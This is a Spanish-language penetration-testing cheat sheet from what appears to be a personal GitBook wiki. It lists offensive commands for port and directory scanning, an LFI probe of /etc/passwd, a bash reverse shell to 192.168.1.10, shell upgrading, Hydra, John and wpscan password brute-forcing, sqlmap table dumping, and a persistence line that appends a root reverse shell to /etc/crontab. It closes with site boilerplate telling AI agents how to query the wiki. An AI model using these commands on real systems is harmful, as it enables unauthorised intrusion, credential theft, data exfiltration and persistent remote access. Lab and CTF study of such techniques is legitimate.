# Sentencias hacking

## 1. Escaneo de Puertos con Nmap

```bash
nmap -p- --open -sSVC --min-rate 5000 <IPOBJETIVO> -vvv -n -Pn
```

```bash
nmap -A -n -Pn <IPOBJETIVO>
```

## 2. Escaneo de Directorios

### Gobuster

```bash
gobuster dir -u http://<IPOBJETIVO> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50
```

Si hacemos escaneo a través de un proxy

```
gobuster dir -u http://<IPOBJETIVO>/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --proxy socks5://127.0.0.1:1080
```

### Feroxbuster

```bash
feroxbuster -u http://<IPOBJETIVO>/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt 2>/dev/null
```

### wfuzz

```bash
wfuzz -c –hl=1 –hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://IP/X.php?FUZZ=/etc/passwd
```

## 3. Reverse Shell y Terminal en Escucha

{% hint style="success" %}
Generador de reverse shells

<https://www.revshells.com/>
{% endhint %}

**Poner el listener en escucha:**

```bash
nc -nlvp 3333
```

**Ejemplo de Reverse Shell con Bash:**

```bash
bash -i >& /dev/tcp/192.168.1.10/3333 0>&1
```

## 4. Mejorar una Reverse Shell

**Generamos una bash mediante un script dentro de la maquina objetivo**

```bash
script /dev/null -c bash
```

**Suspender shell**

```bash
Ctrl + z
```

**Recuperar shell**

```bash
stty raw -echo;fg
```

**Reinicio de shell**

```bash
reset xterm
export SHELL=bash && export TERM=xterm
```

**Para que no de fallos, mirar en maquina local cantidad de columnas y filas de terminal**

```bash
stty size
# ejemplo resultado = 34 100
```

Aplicar en el terminal de maquina objetivo

```bash
stty rows 34 columns 100
```

## 5. Escaneo de DNS con dig

```bash
dig any ejemplo.com @8.8.8.8
```

Para enumerar subdominios:

```bash
for sub in $(cat subdomains.txt); do dig +short $sub.ejemplo.com; done
```

## 6. Comandos Básicos en MySQL

```bash
mysql -u root -p
```

**Comandos útiles dentro de MySQL:**

```sql
SHOW DATABASES; -- Lista bases de datos
USE nombre_bd; -- Selecciona base de datos
SHOW TABLES; -- Lista tablas
DESCRIBE nombre_tabla; -- Muestra estructura de una tabla
SELECT * FROM nombre_tabla; -- Muestra contenido de una tabla
```

## 7. Fuerza Bruta&#x20;

### Hydra

```bash
hydra -l root -P pass.txt 192.168.1.10 ssh
```

### John

```bash
zip2john archivo.zip > archivo.hash # extraer hash de un zip
john --wordlist=/usr/share/wordlists/rockyou.txt archivo.hash # descifrar hash
```

## 8. SQLmap

```bash
sqlmap -u http://<IPOBJETIVO>:<puerto>/<dir_form> --forms --batch -dbs # muestra bases de datos
sqlmap -u http://<IPOBJETIVO>:<puerto>/<dir_form> --forms --batch -D <DB_name> --tables #trata bases de datos
sqlmap -u http://<IPOBJETIVO>:<puerto>/<dir_form> --forms --batch -D <DB_name> -T <Table_name> --dump #trata tablas
```

## 9. Web

### Nikto

```bash
nikto -h [<http://target-site.com>](<http://target-site.com/>)
```

### whatweb

```basic
whatweb http://<IPOBJETIVO>
```

### Payloadsallthethings (repo de git)

## 10. WordPress

```bash
wpscan --url <http://192.168.1.40> --enumerate p,t # buscar temas y plugins
wpscan --url <url_dir> --enumerate u,vp # enumerar usuarios
wpscan --url <url_dir> --passwords <dir_diccionario> --usernames facultad # fuerza bruta 
```

## 11. Linux

### Find

```bash
find / -perm 400 2>/dev/null # busqueda por permiso
find / -group <grupo> 2>/dev/null # busqueda por grupo
```

### Persistencias

```bash
echo '* * * * * root bash -i >& /dev/tcp/<TU_IP>/4444 0>&1' >> /etc/crontab # crontab de root
lsb_release -a  #Muestra versiones y detalles del sistema
```

### Python

```bash
python3 -m http.server 8080
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bibliotek.gitbook.io/miwiki/cyber/sentencias-hacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
